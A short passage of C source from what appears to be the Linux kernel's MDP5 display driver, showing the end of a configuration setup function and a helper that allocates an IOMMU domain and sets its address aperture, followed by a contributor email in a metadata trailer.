pconfig = mdp5_get_config(pdev);
memcpy(&cfg_handler->config.platform, pconfig, sizeof(*pconfig));
DBG("MDP5: %s hw config selected", mdp5_cfg->name);
return cfg_handler;
fail:
if (cfg_handler)
mdp5_cfg_destroy(cfg_handler);
return ERR_PTR(ret);
}
static struct mdp5_cfg_platform *mdp5_get_config(struct platform_device *dev)
{
static struct mdp5_cfg_platform config = {};
config.iommu = iommu_domain_alloc(&platform_bus_type);
if (config.iommu) {
config.iommu->geometry.aperture_start = 0x1000;
config.iommu->geometry.aperture_end = 0xffffffff;
}
return &config;
}
| [
"wenhui@gwmail.gwu.edu"
] | wenhui@gwmail.gwu.edu |
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